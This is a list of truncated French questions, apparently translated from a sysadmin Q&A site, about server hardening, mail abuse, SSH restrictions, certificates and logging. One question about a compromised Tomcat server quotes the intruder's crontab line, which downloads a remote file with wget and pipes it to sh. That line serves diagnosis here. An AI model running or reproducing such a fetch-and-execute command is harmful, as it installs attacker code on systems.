L'un de nos serveurs de messagerie semi-occupés (sendmail) a eu beaucoup de connexions entrantes au cours des derniers jours à partir d'hôtes qui émettent des commandes inutiles. Au cours des deux derniers jours: connexions smtp entrantes avec des commandes invalides de 39 000 adresses IP uniques...
J'ai vu la mention de sécuriser / dev / shm et / proc et je me demandais comment vous faites cela et en quoi cela consiste-t-il? Je suppose que cela implique une modification de /etc/sysctl.conf d'une certaine sorte. Comme ceux-ci? kernel.exec-shield = 1 kernel.randomize_va_space = 1...
Pensez à une société d'hébergement Web qui souhaite permettre aux utilisateurs de gérer les fichiers et les référentiels git via ssh. Ceci comprend: copie sécurisée (scp) créer, copier, déplacer / renommer et supprimer des fichiers exécuter un sous-ensemble étroit de commandes pour le contrôle des...
Nous avons déjà un certificat générique pour *.mycompany.com. Notre réseau a des hôtes qui ne sont accessibles qu'en interne. Ils appartiennent tous au internal.mycompany.comsous - domaine. Il y a un serveur privé avec le nom d'hôte server.internal.mycompany.comsur lequel j'ai déployé notre...
Mon compte AWS gratuit a expiré. J'ai supprimé toutes les ressources S3 et EC2, mais je me demande si je peux quitter le Key Pairset Security Groupssans avoir à les payer. (Les ressources de mon compte ressemblent maintenant à ceci: Ressources ) La documentation d'Amazon ne semble pas mentionner ce...
J'ai un serveur dédié debian. J'essaye de le sécuriser et une façon que je pensais être bonne est de fermer les services dont je n'ai pas besoin, comme FTP par exemple. Je propose d'exécuter quelque chose comme ça sur le déploiement: service ntp stop update-rc.d -f ntp remove service vsftpd stop...
Contexte : l'agrégation de journaux à distance est considérée comme un moyen d'améliorer la sécurité. En règle générale, cela réduit le risque qu'un attaquant qui compromet un système puisse modifier ou supprimer des journaux afin de contrecarrer l'analyse judiciaire. J'ai recherché des options de...
Cette question fait référence au fil Twitter de @ SwiftOnSecurity: https://twitter.com/SwiftOnSecurity/status/655208224572882944 Après avoir lu le fil, je ne comprends toujours pas pourquoi vous souhaitez désactiver la connexion réseau pour les comptes locaux. Voici donc ce que je pense,...
Un nouveau métasploit sur Kalilinux 2016 (dernière écurie) systemctl start postgresql OK Sur msfconsole msf > db_status [*] postgresql connected to msf Quand je lance la recherche msf > search samba [!] Module database cache not built yet, using slow search Donc je reconstruis le cache ......
Je viens d'installer MariaDbsur un nouveau gnome Ubuntu et j'ai ensuite exécuté mysql_secure_installation où j'ai défini un mot de passe administrateur décent, supprimé l'utilisateur anonyme, etc. Ensuite, j'ai réalisé un comportement étrange concernant le mot de passe administrateur: Si j'essaie...
Fermé. Cette question est hors sujet . Il n'accepte pas actuellement de réponses. Voulez-vous améliorer cette question? Mettez à jour la question afin qu'elle soit sur le sujet de la défaillance du serveur. Fermé il y a 3 ans . Quel est le moyen le plus simple d'obtenir une notification lorsque...
Lors de l'exécution d'une guerre de projet sur le serveur Apache tomcat, j'ai constaté que le serveur était compromis. Tout en exécutant la guerre sur un inconnu cronfonctionne comme ceci [root@App2 tmp]# crontab -l -u tomcat */11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh */12 * * *...
J'ai environ 200 utilisateurs. 50 se trouvent en Asie, 50 en Europe méridionale et orientale et une centaine en Europe occidentale. Je voudrais pointer les 50 utilisateurs qui sont en Asie vers notre DC en Asie, et actuellement, il semble qu'ils s'authentifient auprès de nos serveurs européens, ce...
J'aimerais que Samhain surveille un fichier, par exemple /root/somefile,. Ce fichier n'existe pas actuellement, mais j'aimerais être informé s'il est créé à tout moment. J'ajoute ceci à samhainrc: [ReadOnly] file = /root/somefile Cela provoque Samhain à émettre ces entrées de journal: Oct 18...
Je travaille actuellement sur le durcissement de mes serveurs contre le piratage - entre autres choses, je reçois beaucoup de tentatives de connexion en tant que root sur ssh. Bien que j'aie implémenté fail2ban, je me demande pourquoi les ouvertures de session root seraient autorisées par défaut au...
Existe-t-il un moyen de voir / de consigner les suites de chiffrement utilisées (activement) pour établir des connexions SSL sur Windows Server 2008 R2? Idéalement, à la demande, comme une colonne supplémentaire dans les journaux
J'ai un démon linux qui accède à certains services (db, etc.). Il a besoin de mots de passe pour cela. Quel serait le meilleur moyen de donner les mots de passe au démon de manière sécurisée? Je stocke actuellement les mots de passe dans un fichier de configuration racine-en lecture-seule, mais il...
J'ai récemment découvert que spamassasin a ajouté la ligne suivante dans mon fichier passwd: debian-spamd:x:115:122::/var/lib/spamassassin:/bin/sh. Pourquoi spamassasin a-t-il besoin d'un accès shell? Est-il prudent de désactiver l’accès au shell (par exemple, configurer shell sur...